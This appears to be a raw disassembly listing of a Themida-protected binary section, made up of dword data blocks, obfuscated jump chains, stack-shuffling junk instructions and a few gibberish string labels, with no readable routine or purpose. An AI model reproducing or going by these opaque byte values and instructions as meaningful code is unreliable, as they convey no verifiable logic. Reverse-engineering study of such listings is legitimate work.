--------------------------------------------------------------------------- db 83h dd 9F6804C4h, 89000031h, 14F7241Ch, 0BD555B24h, 741227CCh dd 0FFD3C8E9h, 2434FFFFh, 4EC8358h, 3DA9E9h, 0A0C38100h dd 16B4AC0h, 241C8BD8h, 8304C483h, 348904ECh, 84B95124h dd 0E9001145h, 0FFFFF77Fh, 9D0A55B8h, 0ECA352Bh, 9B353A8Dh dd 1111004h, 0B85058C3h, 4, 97E9C301h, 8900002Eh, 4BF243Ch dd 1000000h, 31FFE9F8h, 0E9540000h, 0FFFFC901h, 0C03C181h dd 0F90143AAh, 0C03E981h, 0BA5243AAh, 12FE4699h, 8B5AD129h dd 0EC835901h, 243C8904h, 1BFh, 0E823E900h, 0BA52FFFFh dd 24691856h, 2682E9h, 420BBB00h, 0E3815603h, 3E09245Dh dd 0F381DBF7h, 582A1CCEh, 81D3F74Bh, 43811F3h, 5BD98902h dd 5552D9F7h, 0E820C9BDh, 0EDC14520h, 0C6ED8106h, 89C84D91h dd 0D1215DEAh, 0E5E1815Ah, 0F72C6D4Dh, 7CBB53D1h, 21438A54h dd 0F1815BD9h, 7D0C6352h, 0FFBFD4E9h, 5DEE01FFh, 5108E952h dd 34FF0000h, 18AB6887h, 9DE90000h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A99F: ; CODE XREF: Themida_:00550350j add esp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_54F956 ; --------------------------------------------------------------------------- db 88h dd 0A4E95AD7h, 1000010h, 6CE952C6h, 5A000041h, 8304C483h dd 2C8904ECh, 525D5424h, 4BAh, 0F9ED8100h, 17DE904h, 0F9C581D5h dd 0E97DE904h, 0FFFFE654h, 0FF0EE958h, 0D528FFFFh, 0C5805A66h dd 0E9DDF6DCh, 0FFFFB3AAh, 0D5E9C331h, 81000023h, 4C1h dd 240C8700h, 0F604E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA16: ; CODE XREF: Themida_:0054A3E2j pop eax and eax, edx pop edx jmp loc_551F32 ; --------------------------------------------------------------------------- aXsjw db 'Xι¦W',0 dd 0B36AE900h, 0C381FFFFh, 0B60F84A5h, 1C8BDD01h, 4C48324h dd 31242C33h, 2C33242Ch, 0C3305C24h, 4EC81h, 0A8E90000h dd 31FFFFD4h, 4332404h, 24248B24h, 9C240430h, 0FFB333E9h dd 0E9D2F7FFh, 4329h, 0E9240431h, 0FFFFE89Ah ; --------------------------------------------------------------------------- loc_54AA70: ; CODE XREF: Themida_:00548E37j mov ebx, eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ebx mov ebx, esp jmp loc_547EC6 ; --------------------------------------------------------------------------- aExzwsP db 'ΎexWι',0Bh,'p',0 align 2 dw 34FFh dd 2434FF24h, 4C48159h, 0E9000000h, 423Bh, 6664A3B8h, 5DFD057Ch dd 0E940474Fh, 0FFFFEB11h ; --------------------------------------------------------------------------- loc_54AABC: ; CODE XREF: Themida_:005517D9j push edx push eax push 0CBD1B5Bh pop eax sub eax, 0F57DFD64h mov edx, eax pop eax push ebx mov ebx, 47BF7F1Dh jmp loc_54CD13 ; --------------------------------------------------------------------------- db 56h dd 0FFEA52E9h, 4BD55FFh, 81000000h, 713B84C6h, 81EE0156h dd 713B84EEh, 58BCE956h, 9B80000h, 2D132530h, 1, 2C88BF57h dd 0F7811F4Dh, 1BFC1780h, 61EF8147h, 0F7268B30h, 47CF81DFh dd 8109C21Ch, 0C71797C7h, 0B4E94FECh, 81FFFFD6h, 6A39C5h dd 2D8DE959h, 0C3810000h, 1E1B17D7h, 0EB81FB01h, 1E1B17D7h dd 1C335D5Fh, 5275E924h, 0C7810000h, 62244F05h, 8147D7F7h dd 0DBD748F7h, 5FFD01CFh, 0FFCA4EE9h, 3EFC1FFh, 3AB9E9h db 0 ; --------------------------------------------------------------------------- loc_54AB69: ; CODE XREF: Themida_:0054799Fj pop edx add ebp, eax pop eax jmp loc_55096F ; --------------------------------------------------------------------------- dw 3489h dd 38685524h, 5D546577h, 4719F581h, 0E5816BB2h, 6735F91h dd 1005F581h, 0EE890653h, 5EF0015Dh, 8704C083h, 95C2404h dd 81E2D1C2h, 4ECh, 242C8900h, 0E904EC83h, 73D8h, 240C8B66h dd 0E2895253h, 4C281h, 0EA830000h, 24148704h, 1EA5E9h dd 81E68900h, 4C6h, 2C68100h, 87000000h, 59E92434h, 8900004Ch dd 74FF243Ch, 34FF0424h, 243C8B24h, 4C481h, 89560000h dd 4C681E6h, 83000000h, 0B1E904C6h, 8B000073h, 89E92424h dd 0BAFFFFB1h, 4, 4244481h, 271E780Bh, 4245401h, 4246C81h dd 271E780Bh, 8124148Bh, 4C4h, 0C7815F00h, 4, 8904EC83h dd 0E951242Ch, 6073h ; --------------------------------------------------------------------------- loc_54AC40: ; CODE XREF: Themida_:0054D331j neg dword ptr [esp] pop ebx jmp loc_547E14 ; --------------------------------------------------------------------------- db 0E9h, 46h, 0B1h dd 0E959FFFFh, 0FFFFD183h, 0E904C483h, 0BD9h, 8904EC83h dd 0E954241Ch, 0FFFFCB22h, 55D5855h, 41700283h, 340FE9h dd 68515E00h, 2A6Fh, 59243C89h, 0FFEC75E9h, 0C8B66FFh dd 581BE924h, 0C1890000h, 8324048Bh, 0F90104C4h, 0B21E9h db 0 ; --------------------------------------------------------------------------- loc_54AC9D: ; CODE XREF: Themida_:0054F8F6j xor edx, ebp dec ebp xchg ebp, edx jmp loc_546D7E ; --------------------------------------------------------------------------- db 81h dd 4C2h, 0BA525300h, 0A246933h, 713DE9h, 212CAC00h, 0B252442Ch dd 80DAF601h, 6DE9C2F2h, 89FFFFF4h, 0E6892434h, 4C681h dd 0C1E90000h, 0BDFFFFD4h, 4815722h, 4246C01h, 5846E95Dh dd 0B9510000h, 1EAA3284h, 194DE981h, 0F18133A2h, 0D9FA21A2h dd 43E7E9h db 0 ; --------------------------------------------------------------------------- loc_54AD01: ; CODE XREF: Themida_:0054994Fj pop eax add eax, 4 push ebp mov ebp, 4 add eax, ebp jmp loc_54701B ; --------------------------------------------------------------------------- dd 0FF240489h, 0FF042474h, 79E92434h, 6600001Eh, 6824048Bh dd 11A5h, 68240C89h, 3B5Ch, 4EC81h, 24890000h, 0BD555124h dd 2FB14447h, 0B1444BB9h, 5DE9292Fh, 4244C01h, 24048F59h dd 4240481h, 59000000h, 4C181h, 0BD550000h, 2, 0F94E981h dd 0E90150AAh, 0F94C181h, 515D50AAh, 5B10E9h, 5DE80100h dd 0FC7E9h, 0BAE38100h, 5232D422h, 1022BEBAh, 2F01E902h dd 3C870000h, 0D5E5E924h, 0E289FFFFh, 49A8BE56h, 0CE8140A7h dd 7FDF7262h, 0FFBB4FE9h, 0C8B70FFFh, 4E8D68h, 240C8900h dd 0FFAFD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ADC1: ; CODE XREF: Themida_:00549B42j pop esi or eax, eax jz loc_54DB70 push edx mov edx, 68575587h and edx, 7C851682h jmp loc_54605C ; --------------------------------------------------------------------------- db 81h dd 3C17DCEEh, 5EF13116h, 12ADF181h, 0CB2941A1h, 55C30159h dd 8727AEBDh, 4E5C172h, 3128C581h, 0EDD15693h, 0B3D6ED81h dd 20E9385Ah, 5B000065h, 0FFE811E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AE11: ; CODE XREF: Themida_:0054C2D2j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] movzx ecx, al push 616h jmp loc_54F86B ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 0E9000000h, 0FFFFDC4Dh ; --------------------------------------------------------------------------- loc_54AE38: ; CODE XREF: Themida_:00549F17j pop ebx add ebx, 4 add ebx, 4 jmp loc_54E8AF ; --------------------------------------------------------------------------- aQssf db 'Qιf',0 align 10h loc_54AE50: ; CODE XREF: Themida_:00547CC0j sub edx, 0F79E79D2h jmp loc_547C7C ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 0C781E789h, 4, 8BE95156h, 66000037h, 0E9240C8Bh dd 0FFFFF0B6h, 530E6857h, 3C8B4613h, 2856E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE86: ; CODE XREF: Themida_:005503EEj sub edx, ebx pop ebx mov ecx, edx pop edx xor eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, 3600F1Ch add edi, 44A818B9h sub edi, 5B423FDAh push eax mov eax, 1 jmp loc_54693F ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FFB9DAE9h, 5DEF01FFh, 0E9243C87h, 59ADh ; --------------------------------------------------------------------------- loc_54AECC: ; CODE XREF: Themida_:00548975j pop esp push 1A97h jmp loc_54BEB6 ; --------------------------------------------------------------------------- aL4Ritsca db '4$RβιCA',0 align 2 loc_54AEE2: ; CODE XREF: Themida_:00547945j xor ebx, 0EE8FEF12h add eax, ebx jmp loc_5490C9 ; --------------------------------------------------------------------------- db 58h dd 405h, 52736800h, 1C890000h, 63685524h, 5D20350Dh, 0F29FC581h dd 0EB89DFCAh, 2CE9565Dh, 8100000Dh, 7A5775C6h, 44CE8130h dd 4E22936Dh, 0CAEBF57h, 48E91409h, 68000049h, 83Ch, 0FFF19FE9h dd 82F581FFh, 1727C07h, 4B62E9EFh, 0BF570000h, 3D683851h dd 0FFF123E9h, 2434FFFFh, 4EC8358h, 89241C89h, 4C381E3h dd 51000000h, 1E46E9h, 2C28100h, 87000000h, 0F65C2414h dd 0B60F66F9h, 0B86866CCh, 0C89660Ah, 0E605E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF82: ; CODE XREF: Themida_:00550F38j sub ch, al add ch, 14h mov eax, [esp] add esp, 4 jmp loc_551772 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 44AAh, 582434FFh, 5504C483h, 0C5815D54h dd 4, 6C8868h, 241C8900h, 4BBh, 8BDD0100h, 2F68241Ch, 0E9000050h dd 52BFh, 0C4350F05h, 71B7E943h, 53510000h, 212E9h, 5AC62D00h dd 52054EEDh, 111191Dh, 1D522DF0h, 0C6051119h, 0E94EED5Ah dd 340Bh, 20BCC281h, 0E9594FCDh, 66A2h ; --------------------------------------------------------------------------- loc_54B004: ; CODE XREF: Themida_:0054BED3j add esi, 5CEC664Bh pop ecx add esi, 4 xchg esi, [esp] mov esp, [esp] push 7FDDh jmp loc_546207 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E99CC885h, 0FFFFAD68h, 41C045Ah, 2CD82895h, 0B7536695h dd 66F8281Ch, 162CE95Bh, 2C870000h, 89665C24h, 73E9241Ch dd 8000000Ah, 0E388DEECh, 0FFBA32E9h, 240483FFh, 0C2815A04h dd 4, 4EC81h, 2C890000h, 6AADBD24h, 0E5816BDDh, 0F733849h dd 6DEBBB53h, 7FE97844h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B083: ; CODE XREF: Themida_:0054701Cj push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 40C6h mov [esp], ebx push 56D0h mov [esp], ebp mov ebp, 476502A6h push ebp mov ebp, 1FCD39FFh add ebp, 278C518Eh push edx mov edx, 0A1D6DC3h and ebp, edx pop edx add ebp, 179A328Bh push ebp jmp loc_54EBAA ; --------------------------------------------------------------------------- loc_54B0CA: ; CODE XREF: Themida_:0054A0A4j push ebp mov ebp, esp add ebp, 4 push edi mov edi, 6D436DB3h xor edi, 6D436DB7h add ebp, edi jmp loc_54A267 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FFC645E9h, 0F5095FFFh, 0E7BB535Eh, 8111B643h, 551FEEC3h dd 5BDD3160h, 815DEF31h, 0AAD8D7EFh, 0E9FD8991h, 668Eh dd 80B95145h, 0C13FFE51h, 0D1F703E1h, 5E5AE9h, 11B300h dd 2434FFD8h, 1140E9h, 4896600h, 0AC5AE924h, 248BFFFFh dd 243C8924h, 3A342C68h, 0F8315F06h, 56243C8Bh, 0C681E689h dd 4, 4C681h, 34870000h, 0EC815C24h, 4, 68243489h, 7E46284Bh dd 0FFF1B0E9h, 2474FFFFh, 2434FF04h, 0E9240C8Bh, 0FFFFB7A8h dd 875DE901h, 248B240Ch, 3DC6E924h, 0E9550000h, 0FFFFEC31h dd 215EF331h, 0C5815BDDh, 0F5AFE001h, 3B92EA81h, 0EA01403Bh dd 3B92C281h, 2C8B403Bh, 0E3895324h, 4C381h, 0D0E90000h dd 0BAFFFFCCh, 6A0F2CFDh, 0FFB688E9h, 242C8BFFh, 0FFC8C7E9h dd 6DB850FFh, 31EB452Dh, 37E958C7h, 0F7FFFFD6h, 5D2EE9DEh dd 68660000h, 0D9E901F0h, 0BB000018h, 662838BDh, 0F585C381h dd 0D989A160h, 5C6DE95Bh, 8F540000h, 6F682404h, 89000044h dd 0BB53240Ch, 4, 98E9D989h, 1000027h, 24148BD7h, 4C481h dd 0EF830000h, 243C8702h, 0FEFFE95Ch, 8956FFFFh, 4492E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B23A: ; CODE XREF: Themida_:0054FCFAj mov edx, [esp] push ecx jmp loc_54E60F ; --------------------------------------------------------------------------- db 5Dh dd 9801F8B9h, 0E9BE902h, 68500000h, 546E2BDBh, 8324048Bh dd 250504C4h, 0E9AB91D4h, 5EDh, 5C243C33h, 24048B66h, 0E904EC83h dd 0FFFFE84Ch, 1C77095Dh, 0E92434FFh, 134Fh, 8704EF83h dd 895C243Ch, 0E589242Ch, 4C581h, 0EC810000h, 4, 0BE243489h dd 4, 348BF501h, 4C48324h, 8CAE955h, 53400000h, 0DBE744BBh dd 5BD831DEh, 1A7CE9h, 24048F00h, 46ACE9h, 0EF815E00h dd 2, 391AE9h, 4ED8100h, 33000000h, 2C31242Ch, 0C747E924h dd 0EE81FFFFh, 71A112EEh, 0FFEC1EE9h, 243433FFh, 2404895Ch dd 405E089h, 83000000h, 1BE904C0h, 66000021h, 81240C8Bh dd 4ECh, 24348900h, 0FFB580E9h, 0D1EB80FFh, 8324048Bh dd 0EB8004C4h, 80C30037h, 0C38037C3h, 24EB804Ah, 0E9C0B60Fh dd 0FFFFEFA9h, 24048B66h, 4DC0E957h, 0B8500000h, 7D620F64h dd 0FCEE4B2Dh, 58C5016Bh, 295DEB29h, 1CC381C3h, 8113CC47h dd 0D2253EC3h, 3512E933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B362: ; CODE XREF: Themida_:005510BEj and eax, 36694CE3h not eax neg eax push esi mov esi, 0CDC5BDFh add esi, 10980262h not esi inc esi dec esi sub esi, 98F52D2Ch jmp loc_54837C ; --------------------------------------------------------------------------- dw 0FB01h dd 241C875Fh, 6624248Bh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5477BF ; --------------------------------------------------------------------------- db 59h dd 3F6E953h, 0BF570000h, 19671676h, 0DE70E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B3BA: ; CODE XREF: Themida_:0054D79Cj sub ebp, 78DF6DC3h mov esi, ebp pop ebp add ebp, 65564196h add ebp, esi jmp loc_5502EC ; --------------------------------------------------------------------------- dd 792FE581h, 0F5812A44h, 0C56B0Ch, 6C6CE9h, 0EEB8100h dd 813E8637h, 0F8297DEBh, 51C30121h, 3D086857h, 815F354Ch dd 0BF33C3C7h, 0DFF74F54h, 8ACCEF81h, 0F98931CAh, 3EF1815Fh dd 4143C45Ch, 4F52E9h db 0 ; --------------------------------------------------------------------------- loc_54B415: ; CODE XREF: Themida_:0054D933j add [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_545D94 ; --------------------------------------------------------------------------- dd 24048B66h, 0FFDF04E9h, 240C87FFh, 0B029E95Ch, 0ECBDFFFFh dd 81587E0Fh, 0EB6580CDh, 4EDC166h, 8102E5C1h, 0ED7D0DC5h dd 5DEF2937h, 0C781D701h, 57AD5905h, 0FFBFEEE9h, 81D5F7FFh dd 0A5172C5h, 5DEF29E5h, 22ACE9h, 2DBE5600h, 0E94ED307h dd 69C0h, 243CD35Ch, 0B51CE99Ch, 48BFFFFh, 4C48324h, 8B242C87h dd 89662424h, 0C5B1240Ch, 8B66C800h, 0EC83240Ch, 240C8904h dd 6718E954h, 46680000h, 5D4FA250h, 0A74E9h, 24048900h dd 2468h, 2434FF00h, 4C48358h, 1AB1E9h, 0EE895600h, 0A1E9F289h dd 50000021h, 0FFBFD5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B4D9: ; CODE XREF: Themida_:0054BF4Bj xchg eax, [esp] jmp loc_545F7A ; --------------------------------------------------------------------------- db 1, 0D0h, 2Dh dd 464F2235h, 0A4DC005h, 20E95A1Eh, 81FFFFB9h, 4C5h, 16C5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B4FE: ; CODE XREF: Themida_:0054D7F6j pop eax inc eax xor eax, 42D73F6h xor ebp, eax mov eax, [esp] jmp loc_548D87 ; --------------------------------------------------------------------------- db 29h dd 4AF705E8h, 505D1375h, 6093E9h, 2434FF00h, 55E9515Ah dd 52FFFFEAh, 42474FFh, 6ADBE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B532: ; CODE XREF: Themida_:0055122Aj push edx push 35B1h mov [esp], ebx mov bl, 0B9h mov dh, 7Ah sub dh, bl pop ebx push 781Ch mov [esp], ebx mov bh, dh mov al, bh pop ebx jmp loc_550F32 ; --------------------------------------------------------------------------- dd 5C240487h, 5E08950h, 4, 42Dh, 24048700h, 240C895Ch dd 0CCAAE950h, 875BFFFFh, 0BFE92404h, 80FFFFFBh, 1AE97FEBh dd 81000033h, 4C7h, 4EF8100h, 87000000h, 248B243Ch, 24148924h dd 4761E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B59E: ; CODE XREF: Themida_:005502A4j add ebp, esi add ebp, 70CB317Bh pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp imul ecx push 598Ah mov [esp], edx push eax pushf jmp loc_5497E4 ; --------------------------------------------------------------------------- dw 2C31h dd 242C3324h, 0FF242C31h, 835A2434h, 0EC8104C4h, 4, 0FF241489h dd 0FF042474h, 835A2434h, 48F04C4h, 0A7A6E924h, 0EB81FFFFh dd 1A6860C5h, 136AE9h, 2434FF00h, 0FFB3A6E9h, 48B66FFh dd 3F685224h, 89000029h, 4812424h, 424h, 0BB535A00h, 186017A5h dd 68DBF7h, 29000000h, 94E9241Ch, 8900003Ch, 0BB535FFAh dd 3A555E9Dh, 11FDCB81h, 0BD557738h, 1F7B3A9Ah, 4B5DEB21h dd 0FE1BE56h, 0A3E968F4h, 81000020h, 1B23B5F2h, 0FAE2813Bh dd 8142DD1Dh, 1EAh, 0A1F28100h, 140C81Ch, 0B445E9FAh, 0C228FFFFh dd 0FC2C5866h, 0FC04D000h, 4EC835Ah, 0E9241489h, 53Dh dd 0DE9515Eh, 59FFFFD2h, 0E9243C87h, 0FFFFC310h, 5C241C87h dd 89241C89h, 0BD5553FBh, 28310C8Eh, 4244481h, 4A9646CBh dd 556CE9h, 0A6DEE900h, 0BD55FFFFh, 285DF576h, 295DE829h dd 56FDE9C5h, 8F5B0000h, 248B2404h, 9AE95124h, 89000018h dd 7BCD68E0h, 34890000h, 0C84AE924h, 3C87FFFFh, 56FE924h dd 0EB010000h, 313C381h, 835D0579h, 1C3302EBh, 241C3124h dd 8B241C33h, 89662424h, 89E92404h, 5EFFFFA6h, 0FFA7F3E9h dd 48B66FFh, 480AE924h, 0EA810000h, 0E7A616Ah, 294EBF57h dd 0C78137BAh, 0C9A64D62h, 0E95FFA29h, 0FFFFA660h ; --------------------------------------------------------------------------- loc_54B734: ; CODE XREF: Themida_:0054BEB9j mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_54BA5B ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2048E9h, 4C3BBE00h, 0E6C15930h, 14F75605h, 0EEC15E24h dd 10EE8103h, 81D1B0E3h, 50168EEEh, 81D62962h, 50168EC6h dd 0F0315A62h, 8324348Bh, 0D16804C4h, 89000077h, 0E389241Ch dd 63CE9h, 0F1885100h, 5A59CB88h, 0E950DBF6h, 29E4h, 5166BDB3h dd 0CB30F2B1h, 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5466BC ; --------------------------------------------------------------------------- dw 5152h dd 0C237CEB9h, 0F7D9F70Ch, 81E9D1D9h, 611BE7E9h, 59CA8906h dd 203CA01h, 0CF3E9h db 0 ; --------------------------------------------------------------------------- loc_54B7DD: ; CODE XREF: Themida_:005466C9j sub cl, 2Bh shl cl, 2 add cl, 10h sub al, cl jmp loc_54683B ; --------------------------------------------------------------------------- dd offset dword_4FE844+324h align 2 dw 489h dd 0EEBF5724h, 6851A57Ah, 0AE5A8513h, 482C2D58h, 37E9326Eh dd 83000023h, 59042404h, 3CA7E9h, 0C7C68100h, 16BA958h dd 0DE64E9FEh, 0C829FFFFh, 0DF19E959h, 5455FFFFh, 4EC835Dh dd 851E9h, 4C28100h, 0E9000000h, 20AAh, 24048F54h, 4240481h dd 5E000000h, 0FFC0F9E9h, 8BC389FFh, 89502404h, 405E0h dd 0E8830000h, 0E9B2E904h, 505AFFFFh, 53DA8852h, 0D888D388h dd 0C6885A5Bh, 5BA2E9h, 0C3815D00h, 21D90BA9h, 8C03C381h dd 0DE017965h, 51241C8Bh, 0C181E189h, 4, 3304C183h, 2BE9240Ch dd 66000031h, 6824048Bh, 365h, 89240489h, 405E0h, 68520000h dd 2, 0FFD0015Ah, 34FF2434h, 0C4835A24h, 6E95704h, 0B8000011h dd 23704624h, 2B605B0Dh, 4200052Eh, 0A02D1AB7h, 0E9606B10h dd 275Fh, 5C240C87h, 57241489h, 1B0F30BFh, 0ADB8E97Ah dd 68ACFFFFh, 1896h, 0E9241C89h, 0FFFFF821h, 8B2434FFh dd 8E682404h, 8900004Eh, 0ECE92434h, 68000011h, 3FAAh dd 51240489h, 5F18EF68h, 240C8B4Fh, 0B7DBE951h, 0D2F6FFFFh dd 0E90CB551h, 0FFFFC20Ch, 0BB241C89h, 2, 0FFA644E9h, 4C481FFh dd 68000000h, 71Dh, 50240C89h, 30E9E089h, 0B9000015h, 4EAAA90Eh dd 8159C829h, 811BDDC7h, 55C70119h, 44CFEBDh, 0DFC58145h dd 29D47CCEh, 242C8BEFh, 0FF04C483h, 83582434h, 0D0E904C4h dd 4EFFFFD6h, 4FA4EE81h, 75E94D53h, 1FFFFD7h, 138DE9EFh dd 0C4830000h, 0BE565104h, 31A91E5Bh, 0F3E9F189h, 0E9FFFFD4h dd 0FFFFA3E0h, 0F6F4B252h, 97F280DAh, 800DC280h, 0C28033E2h dd 5AD420F3h, 68h, 24242800h, 8324248Ah, 41E904C4h, 57FFFFACh dd 0C781E789h, 4, 8704C783h, 38E9243Ch db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B9EF: ; CODE XREF: Themida_:00546F6Bj pop esp mov [esp], ebp push 561F732Fh jmp loc_545F97 ; --------------------------------------------------------------------------- db 53h, 0E9h, 3 dd 8800002Fh, 0E9EE88FDh, 0FFFFA6A8h, 4BD55h, 0EB010000h dd 0DE9565Dh, 8300000Ch, 0F00207Fh, 5A3784h, 4EC8100h dd 89000000h, 0BA52242Ch, 2AB633F0h, 26E9DAF7h, 58FFFFF0h dd 2B951h, 0CD010000h, 242C3359h, 33242C31h, 248B242Ch dd 4316624h, 39E99C24h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA5B: ; CODE XREF: Themida_:0054B74Cj mov [esp], ebp jmp loc_54D7B4 ; --------------------------------------------------------------------------- db 66h dd 1F91E952h, 5580000h, 62F72EA4h, 0FFA31FE9h, 713B68FFh dd 0C1E90000h, 89000030h, 0E6BE2434h, 4E665707h, 7E1EE81h dd 0F7016657h, 1AE0E9h, 5AD78900h, 0D5F7EF87h, 0BB53EF87h dd 488E118Ch, 0E95BDF09h, 0FFFFF09Eh, 0E179E957h, 0C481FFFFh dd 2, 1C8BFD08h, 5367E924h, 0FEB30000h, 800EB551h, 0D5F6B4E5h dd 0FFECD8E9h, 0C48358FFh, 239BE904h, 505B0000h, 69C66855h dd 815D3FA0h, 5F963EC5h, 8BE889C0h, 0C481242Ch, 4, 8758C529h dd 0E95C242Ch, 502Fh ; --------------------------------------------------------------------------- loc_54BB00: ; CODE XREF: Themida_:0054FF33j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ecx, 0D797AE7h push 1 push dword ptr [esp] jmp loc_54DA94 ; --------------------------------------------------------------------------- dd 0E924148Bh, 2DD5h, 0E580CDFEh, 42C580CDh, 0FFAB85E9h dd 0C0C681FFh, 5A279F32h, 56D2E9h, 4335D00h, 0EEE9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB66: ; CODE XREF: Themida_:0054C101j shl ebx, 6 sub ebx, 293EBA85h sub ecx, ebx pop ebx push ebx jmp loc_54FD5F ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Dh, 0E924248Bh, 0FFFFCD83h, 4A4EF181h dd 0D9F76E85h, 2C15F181h, 0CE89E4EAh, 5DEE2959h, 348BF501h dd 4C48324h, 2BB53h, 0C5810000h, 15B2046h, 0ED81DD01h dd 15B2046h, 242C335Bh, 0FFB48FE9h, 0B35350FFh, 0E9DBF6AEh dd 0BFh ; --------------------------------------------------------------------------- loc_54BBCC: ; CODE XREF: Themida_:005506A9j mov eax, 0FFFFFFFFh add ecx, eax pop eax push esi mov esi, 4F6E4549h inc esi jmp loc_5493F4 ; --------------------------------------------------------------------------- dd 6858C201h, 7C6Ah, 0FF241489h, 8B042474h, 0C4832414h dd 550BE904h, 0C7810000h, 1079640Dh, 2276C781h, 0EF015BD9h dd 2276EF81h, 0BA525BD9h, 4A2C3A40h, 59A8F281h, 6CE90F31h dd 83000058h, 9EE904ECh, 31FFFFC0h, 0F4E92414h, 0BAFFFFCEh dd 21170A82h, 4425F281h, 65E93A85h, 0BE00004Dh, 12897330h dd 348BF001h, 4C48124h, 2D000000h, 6C2E2764h, 5ECAE9h dd 54515C00h, 4C18159h, 0E9000000h, 2220h, 762097B8h, 0A2ADE96Bh dd 0DE87FFFFh, 5840E9h, 24248900h, 4BD55h, 6C010000h, 0B3E90424h dd 80000031h, 0EB8002E3h, 49E38057h, 662AF380h, 0B2E95152h dd 0C100000Eh, 80E906E8h, 87000049h, 76E92434h, 8FFFFFE5h dd 4812404h, 424h, 78E95E00h, 0ACFFFFA5h, 4EC81h, 0C890000h dd 6664B524h, 0E998B252h, 0FFFFED1Eh, 240C8B66h, 4EC8157h dd 0E9000000h, 0FFFFB662h, 0E900E9C1h, 2A46h ; --------------------------------------------------------------------------- loc_54BCEC: ; CODE XREF: Themida_:00548958j mov dx, [esp] push eax jmp loc_54DC47 ; --------------------------------------------------------------------------- dw 0BB53h dd 7976CB0h, 0B5BE564Bh, 946FD7Dh, 0E3C15EF3h, 31EB8104h dd 152EBF2h, 78055BD9h, 29781D6Ch, 6C782DC8h, 559781Dh dd 65614493h, 5F2434FFh, 81E78957h, 4C7h, 4C78300h, 0C084E957h dd 0E8C1FFFFh, 5D0F708h, 461EFF4Ch, 0E958C129h, 0FFFFEF29h dd 31240433h, 4332404h, 0E1E95C24h, 100004Ch, 0C2E981E9h dd 0E9104A6Eh, 0FFFFF461h, 14ED6852h, 815A02B0h, 5754FFF2h dd 0B8505350h, 0D86D41h, 0D404E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD82: ; CODE XREF: Themida_:0054C0B6j pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp idiv ecx push 246Dh mov [esp], edx push eax pushf jmp loc_54CB65 ; --------------------------------------------------------------------------- dw 68ADh dd 2E16h, 0E9243C89h, 0FFFFC76Ch, 0E9028F66h, 0FFFF9FDCh ; --------------------------------------------------------------------------- loc_54BDB8: ; CODE XREF: Themida_:00546D62j mov ecx, 0CCD6498h dec ecx inc ecx add ecx, 61BB499Fh jmp loc_54CCB0 ; --------------------------------------------------------------------------- dw 0DDF6h dd 0FFC47DE9h, 4C381FFh, 83000000h, 1C8704EBh, 24248B24h dd 89240489h, 405E0h, 0BB530000h, 4, 7BE9D829h, 59FFFFF7h dd 3066E959h, 74FF0000h, 3DE90424h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE07: ; CODE XREF: Themida_:0054F3D4j sub esp, 4 mov [esp], ebx jmp loc_54C508 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0DAh dd 0C1153472h, 0AF2D06E0h, 2936C637h, 727E9C7h, 0EA810000h dd 3F1B2F42h, 27E9EA81h, 59E9680Ch, 33FFFF9Fh, 14312414h dd 24143324h, 48B665Ch, 0EC835124h, 24248904h, 4240483h dd 94BD5559h, 4D15042Ah, 667C68h, 241C8900h, 3677B3BBh dd 8E3C153h, 0E902E3C1h, 0FFFFA561h, 653E68h, 24148900h dd 0C281E289h, 4, 4EA81h, 14870000h, 14895C24h, 4BA24h dd 0C6810000h, 0DE247ECh, 0EE81D601h, 0DE247ECh, 2B8505Ah dd 0E9000000h, 0FFFFE210h, 0CFC4E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEB6: ; CODE XREF: Themida_:0054AED2j mov [esp], edi jmp loc_54B734 ; 